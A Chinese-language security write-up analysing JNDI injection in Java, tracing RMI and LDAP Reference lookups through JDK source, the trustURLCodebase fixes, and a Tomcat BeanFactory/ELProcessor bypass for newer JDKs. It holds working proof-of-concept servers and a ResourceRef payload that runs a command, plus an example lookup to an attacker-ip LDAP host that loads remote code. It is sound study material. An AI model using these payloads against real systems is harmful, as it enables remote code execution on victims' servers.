JDNI注入分析

xiao1star2025-12-26文章来源:SecHub网络安全社区


何为JNDI

JNDI(Java Naming and Directory Interface) 是一个用于统一访问命名和目录服务的API。它的核心目的是为Java应用程序提供一种标准化的方式,来查找和访问各种命名和目录服务(如数据库连接、消息队列、远程对象等),而无需关心底层服务的具体实现细节。为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。例如使用JNDI定位数据库服务或一个远程Java对象或者在局域网上定位一台打印机

JNDI 体系结构由 API 和服务提供商接口 (SPI) 组成。Java 应用程序使用 JNDI API 访问各种命名和目录服务。SPI 允许透明地插入各种命名和目录服务,从而允许使用 JNDI API 的 Java 应用程序访问其服务。如下图所示:

20251118165731939.png

JNDI 包含在 Java SE 平台中。要使用 JNDI,您必须具有 JNDI 类和一个或多个服务提供者。JDK 包括以下命名/目录服务的服务提供商:

  • 轻量级目录访问协议 (LDAP)
  • 通用对象请求代理架构 (CORBA) 通用对象服务 (COS) 名称服务
  • Java 远程方法调用 (RMI) 注册表
  • 域名服务 (DNS)

在JDNI中可以运行创建如下5种不同类型的对象,并将他们存储在目录中

1.java可序列化对象

2.可应用对象和JNDI引用

3.具有属性的对象

4.RMI(Java远程方法调用)对象

5.CORBA对象

JNDI与RMI

实现流程

环境:jdk_8u65

现在我们看一下JNDI如何与RMI结合到一起的

import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIServer { public static void main(String[] args) throws RemoteException { RemoteItf remote = new RemoteImpl(); Registry registry = LocateRegistry.createRegistry(1099); registry.rebind("remoteItf", remote); } } import javax.naming.InitialContext; public class JNDIRMIServer { public static void main(String[] args) throws Exception { InitialContext initialContext = new InitialContext();//初始化上下文 initialContext.rebind("rmi://localhost:1099/remoteItf", new RemoteImpl());//将创建的远程对象绑定到上下文中 } } import javax.naming.InitialContext; public class JNDIRMIClient { public static void main(String[] args) throws Exception { InitialContext initialContext = new InitialContext(); //通过 JNDI 查找 RMI 远程对象 RemoteItf remoteItf = (RemoteItf) initialContext.lookup("rmi://localhost:1099/remoteItf"); //调用远程对象的方法 String jdnirmi = remoteItf.Hello("jdnirmi"); System.out.println(jdnirmi); } }

运行之后的结果

20251118165728957.png

可以看到成功回显内容,那么我们就会想这样的效果是如何实现的,会不会和普通RMI的实现机制一致呢。接下来我们看一下实现机制

代码分析

进入initialContext.lookup方法

20251118165730399.png

来到这里方法调用了getURLOrDefaultInitCtxlookup方法

173865879769225976649b27e4126a7f52a0e2e951708.png

进入该方法之后可以看到又调用了RegistryContextlookput方法

20251118165732020.png

接下来来到这个方法中可以看到是调用的RegistryImpl_Stublookup方法,这个方法就和RMI中的那个一样了,后面会调用一个invoke方法,然后调用execute方法,这里里面是由反序列化漏洞的

20251118165734478.png

也就说如何我们lookup的参数值可控,我们查找一个恶意的远程对象就会导致漏洞的出现,但这个不是传统的jdni注入

20251118165736429.png

传统的JNDI注入

传统的JNDI注入是绑定的引用对象,也就是这个Reference对象

import javax.naming.InitialContext; import javax.naming.Reference; public class JNDIRMIServer { public static void main(String[] args) throws Exception { InitialContext initialContext = new InitialContext();//初始化上下文 // initialContext.rebind("rmi://localhost:1099/remoteItf", new RemoteImpl());//将创建的远程对象绑定到上下文中 Reference reference = new Reference("Hello", "Hello", "http://localhost:7777/"); initialContext.rebind("rmi://localhost:1099/remoteItf", reference); } }

Reference构造方法中第一个是class的名字。第二个是工厂名字。第三个是工厂位置

20251118165739156.png

这个Hello.class中是一个使用runtime弹出计算机的操作

20251118165740854.png

接着运行JDNIClient类成功实现弹出计算机的操作

20251118165743850.png

服务端绑定逻辑

首先看一眼JNDIRMIServer类的绑定逻辑

20251118165744840.png

从下图可以看到一路的rebind流程

20251118165746401.png

在最后发现最后是来到了是我们这个RegistryContext类中,将我们的rebind中的第二个参数进行了一次encodeObject方法。也就是我们的参数reference

至于为什么会来达到RegistryContext类呢,这是因为jndi中,不同的协议对应这不同的context类,对于RMI就是这个registry

173867453678173a092d105574ac4af09755ef8eb5a22.png

下面来到RegistryContext类的encodeObject方法中可以看到将我们reference参数进行了类型的转换,变成了ReferenceWrapper类型

20251118165749466.png

之后将我们的参数进行了wirteObject序列化操作

20251118165750771.png

客户端lookup逻辑分析

20251118165751926.png

下面来到这里调用了getURLOrDefaultInitCtx(name).lookup(name)

20251118165756615.png

进入这个lookup方法中,首先是获取到url的上下文和剩余名称(remaining name),然后获取获取解析后的上下文对象,之后又调用了RegsitryContextlookup方法

20251118165753771.png

可以看到来到了RegsirtyContext类中,我们的var1是不为空的,又调用了RegistryImpl_Stublookup方法,从服务端找到我们的远程对象,之后又将获取到的var2进行了decodeObject相当于解密一样,因为我们在服务端绑定时进行了encodeObject方法

20251118165758677.png

接下来就来到这个decodeObject方法中,看到先是进行了一个判断参数是否属于RemoteReference类或其子类,如是就调用他的getReference方法,然后调用了一个getObjectInstance方法

20251118165800104.png

这个方法最后又将参数类型改为Reference类型

20251118165801258.png

可以看到这个Reference参数里面的内容不就是我们在服务端创建的吗

20251118165802518.png

接下来来到getObjectInstance方法中,可以看到下面有一个getObjectFactoryFromReference方法,用于获取对象工厂的Reference

20251118165803914.png

来到这个方法中,首先是调用了一个loadClass进行类加载,从第二个图可以看到调用的是AppClassLoader,在本地进行加载,很明显本地是没有。在图三可以看到clas是为null

20251118165808459.png

20251118165812395.png

20251118165815535.png

接着再往下,进入if语句中,通过codebase也就是我们这个url来去调用loadClass

20251118165819019.png

首先是获取了上下文的ClassLoader,然后新建了一个URLClassloader对象将我们的codebase传了进去,后面又调用了loadClass

20251118165820592.png

可以看到下面这个loadClass方法就是通过我们所给的url路径来完成类加载,进而完成类的初始化,可以执行所对应类的静态代码块中的代码,因为我的弹出计算机操作是写在静态代码块中的,所以在这里就弹出来了

20251118165822405.png

结束这个类加载,下面对这个类还调用了newInstance方法,进行初始化操作

20251118165824284.png

这里可以看出如果JDNIRMIClientlookup参数可以控制,然后如果我们这里有一个恶意的服务端类似于JDNIRMIServer,然后这个里面传入的是一个恶意的.class文件,将这个恶意的服务器的rmi地址作为lookup的参数,实现类加载导致这个.class文件被执行,即可实现攻击

20251118165825279.png

高版本的java对jndi的修复

在这个漏洞之后在16年的10月份进行了修复也就是jdk_8u121以及之后的版本都修复了这个漏洞,要知道RMI对应的是RegistryContext类,在这个类中加入了一个静态成员变量,且默认是false

20251118165826778.png

再往下对trustURLCodebase进行了判断,如果为其false的话,就会抛出异常,只有我们手动修改才可以

20251118165828084.png

如下图这是jdk8u401中的内容,可以看到如果TrustURLCodebaes如果为false的话就直接抛出异常,无法进行getObjectInstance操作,也就无法进行后续的类加载操作

20251118165829750.png

同时在CNCtx类中加入了trustURLCodebase成员变量,也默认设置为false

20251118165831845.png

LDAP与JNDI

何为LDAP

LDAP(Light Directory Access Portocol),它是基于X.500标准的轻量级目录访问协议。目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。LDAP目录服务是由目录数据库和一套访问协议组成的系统。

每一个系统、协议都会有属于自己的模型,LDAP也不例外,在了解LDAP的基本模型之前我们需要先了解几个LDAP的目录树概念:

(一)目录树概念

  1. 目录树:在一个目录服务系统中,整个目录信息集可以表示为一个目录信息树,树中的每个节点是一个条目。
  2. 条目:每个条目就是一条记录,每个条目有自己的唯一可区别的名称(DN)。
  3. 对象类:与某个实体类型对应的一组属性,对象类是可以继承的,这样父类的必须属性也会被继承下来。
  4. 属性:描述条目的某个方面的信息,一个属性由一个属性类型和一个或多个属性值组成,属性有必须属性和非必须属性。

20251118165834285.png

20251118165836161.png

实现流程

环境:jdk_8u65

使用工具创建一个新的LDAP服务

20251118165839890.png

import javax.naming.InitialContext; import javax.naming.Reference; import java.io.IOException; public class JNDILDAPServer { public static void main(String[] args) throws Exception { InitialContext initialContext = new InitialContext(); Reference reference = new Reference("Hello", "Hello", "http://127.0.0.1:7777/"); initialContext.rebind("ldap://localhost:10389/cn=test,dc=example,dc=com",reference); } }

20251118165841484.png

import javax.naming.InitialContext; public class JNDILDAPClient { public static void main(String[] args) throws Exception{ InitialContext initialContext = new InitialContext(); initialContext.lookup("ldap://localhost:10389/cn=test,dc=example,dc=com"); } }

接下来开启对应的.class文件下的http服务

173872452685575780bdc7c6749b187ad761f05133da0.png

先后运行服务端和客户端,成功弹出计算器

20251118165844454.png

代码分析

下面分析一下客户端弹出计算机原因,也就是分析一下lookup方法,

20251118165845902.png

来到了initialContext类中,首先是获取到url中的默认初始上下文,接着去调用其lookup方法

1738726010719839f65f9f010407abee25cfffdd41afc.png

接着来到ladpURLContext类下的lookup方法,要知道检查 LDAP URL 中是否包含问号(?)及其后续的查询参数部分,若有就抛出异常;之后又调用了父类的lookup方法

1738732433271b9eaa63bd67c4b0f81fb5d11997e2930.png

接着就来到GenerialURLContext类下的lookup方法,首先是获取根URL下的上下文,然后获取其ResovledObj对象,之后调用了lookup方法

20251118165848349.png

20251118165849567.png

来到如下方法中,该方法是用于通过递归或链式调用来查找指定名称(Name对象)对应的对象,接着我们来到p_look方法中

20251118170030020.png

接着来到p_lookup方法中,可以看到后面会来到该类的c_lookup方法中

20251118165851899.png

进入c_lookup方法中

20251118165853294.png

后面来到是Obj类的decodeObject方法中,在这个方法里面就是对我们的对象的类型进行判断,要知道我们JNDI允许四种,而我们的对象属于引用类型,所以就调用了decodeReference方法,decodeReference方法很长,具体内容就是得到了所绑定的引用中工厂名和class名以及工厂地址等信息

20251118170055498.png

20251118170058424.png

可以看到下图经过decodeObject方法后的内容

20251118165855485.png

再往下来到LDAPCtx就调用了getObjectInstance方法,注意在高版本中没有像RMI一样对这个Context类做限制,而是对其他地方做了限制

20251118165857623.png

getObjectInstance方法中,方法很长,直接是来到下图,先是获取了工厂的类名,然后就调用了getObjectFactoryFromReference方法

20251118165859680.png

接着来到了NamingManager的getObjectInstance方法中,这个和前面分析的RMI与JNDI结合是一样的,也是通过所给的url地址,直接进行了类加载

20251118165902561.png

进入第二个helper.loadClass方法中,来到的是VersionHelper12类中,首先获取当前线程的上下文类加载器(parent),作为父类加载器,然后根据传入的codebase(代码库的URL字符串)生成一个URL数组,并以parent作为父类加载器,创建一个新的URLClassLoader实例,接着在将classname与新创建的ClassLoader实例作为参数又调用了一次loadClass方法

20251118165904025.png

在该方法中调用forName进行了初始化就会调用静态代码块

20251118165906409.png

到这里就分析完了

高版本修复

在18年就对这个漏洞进行了修复再就是在8u191之前都是存在这个漏洞的,在VersionHelper12中也是加入trustURLCodedase验证,其默认是为false的,所有需要手动修改为true才可以

20251118165908226.png

20251118165910791.png

如下图所示是jdk8u401修复的内容,在里面可以看到加入了trueURLCOdebase的判断

20251118170109968.png

高版本绕过

**环境:**jdk8U401

但jdk版本大于等于jdk8u191,之后再用之前的实现jndi注入就无法实现了,接下来讲一下如何进行高版本绕过

RMI与JNDI结合中,高版本的限制在了RegisryContent类下的decodeObject方法中

private Object decodeObject(Remote var1, Name var2) throws NamingException { try { Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1; Reference var8 = null; if (var3 instanceof Reference) { var8 = (Reference)var3; } else if (var3 instanceof Referenceable) { var8 = ((Referenceable)((Referenceable)var3)).getReference(); } if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) { throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'."); } else { return NamingManager.getObjectInstance(var3, var2, this, this.environment); } } catch (NamingException var5) { throw var5; } catch (RemoteException var6) { throw (NamingException)wrapRemoteException(var6).fillInStackTrace(); } catch (Exception var7) { NamingException var4 = new NamingException(); var4.setRootCause(var7); throw var4; } }

上面东西太多了,主要是下面内容

if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) { throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'."); } else { return NamingManager.getObjectInstance(var3, var2, this, this.environment); }

我们是想要进入到NamingManager.getObjectInstance中,然后进行类加载完成攻击,那么我们就不能进入If语句中,那么就有三种情况:

  1. var8为null
  2. var8.getFactoryClassLocation()为null
  3. trustURLCodebase为true

下面谈谈上面几种情况实现的可能性:

  1. 令 var8为空,从语义上看需要 var3 既不是 Reference 也不是 Referenceable,即不能是对象引用,只能是原始对象,这时候客户端直接实例化本地对象,远程 RMI 没有操作的空间,因此这种情况不太好利用;
  2. var8.getFactoryClassLocation()为null,就需要使得classFactoryLocation成员属性为空,这个属性表示引用所指向对象的对应 factory 名称,对于远程代码加载而言是远程代码的 URL 地址例如前面的http://127.0.0.1:7777/,这正是我们针对低版本的利用方法;如果对应的 factory 是本地代码,则该值为空

20251118165913235.png

  1. trustURLCodebase为true,系统默认就将其设置了false,实现的可能微乎其微

JNDI与LDAP中,在VersionHelp12类的做了trustURLCodebase限制,想要让他为true几乎不可能,那么就需要我们往前看看是如何来到这个方法里的

20251118165914394.png

往前找就来到了NamingManagergetObjectFactoryFromReference方法,可以看到首先是进行了一个本地的类加载,但是因为我们是通过开启一个http服务进行了远程类加载,所以直接就来到第二个loadClass方法中,进而来到了VersionHelp12类中,但是高版本有对该类的方法进行了限制,现在若本地的工厂有我们可以利用的点,然后我们找他,然后实现本地的类加载,进而完成攻击

20251118165915868.png

如果我们使得RMI和LDAP都实现高版本绕过,现在我们就需要找一个本地的工厂,然后跳过RegistryConetxt类中的decodeObject方法中if语句调用NamingManager.getObjectInstance方法,然后进入 getObjectFactoryFromReference方法,调用loadClass方法时进行本地类加载

接下来就有一个BeanFactory类十分符合我们的要求

那么在tomcat8.5.58以下中有一个BeanFactory类的getObjectInstance方法,其会加载Reference包裹的类,并对其进行实例

20251118170137049.png

20251118165918640.png

然后就是获取Reference对象的Addrs参数集合中AddTypeforceStringString参数,然后将所得到的参数按照,分割开来赋值给param,接着又将param按照=分割,=前的赋值给param,=后面的赋值给setterName,然后利用反射获取到Reference包裹的类中名字为setterName的值的方法,其中参数类型是String类型,接着将param与反射获取到的方法puthashmap

20251118165920151.png

接着就是获取到前面的参数类型为String类型的的方法,并按照paramAdds中获取到的String对象作为参数去反射调用该方法

20251118165921309.png

如下是tomcat8.5.93版本,在该版本中对forceString进行了移除操作,若有该字段就会进行报错处理

20251118165925684.png

在利用链中也使用了ELProcessor类,这是因为该类中正好又可以只传一个String参数就可以执行攻击的代码

漏洞复现

在maven项目的pom.xml中导入tomcat依赖

<dependencies> <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-core</artifactId> <version>8.5.57</version> <!-- Tomcat 8.5.57 版本 --> </dependency> <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-websocket</artifactId> <version>8.5.57</version> <!-- Tomcat 8.5.57 版本 --> </dependency> <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-jasper</artifactId> <version>8.5.57</version> <!-- Tomcat 8.5.57 版本 --> </dependency> </dependencies>
import org.apache.naming.ResourceRef; import javax.naming.InitialContext; import javax.naming.StringRefAddr; public class JNDIRMIServerBypass { public static void main(String[] args) throws Exception{ InitialContext initialContext = new InitialContext(); ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); resourceRef.add(new StringRefAddr("forceString", "x=eval")); resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec('calc')")); initialContext.rebind("rmi://localhost:1099/remoteItf", resourceRef); } }

运行之后成功弹出计算机

20251118165932685.png

总结

可以看到实现JNDI注入就是通过引用来实现类加载(不管是本地加载还是远程加载)进而导致恶意代码的执行

攻击端

  1. 编写恶意类
  2. 编译恶意类并托管在HTTP服务器
  3. 启动LDAP服务并将引用指向上一步HIp服务器中的恶意类(可以使用工具marshalsec来启动服务注意ip为攻击者的地址)

受害端

  1. 客户端执行可控代码:context.lookup(“ldap://attacker-ip:1389/Exploit”)

  2. JNDI客户端请求LDAP服务

  3. LDAP返回恶意Reference对象

  4. 客户端解析Reference时

  5. 从codebase指定URL动态加载

  6. 实例化恶意类触发构造函数/static代码块

参考链接

https://docs.oracle.com/javase/jndi/tutorial/objects/storing/index.html

https://hg.openjdk.org/jdk8u/jdk8u/jdk/log?rev=registrycontext

https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/28d4d67065ab

https://xz.aliyun.com/news/16156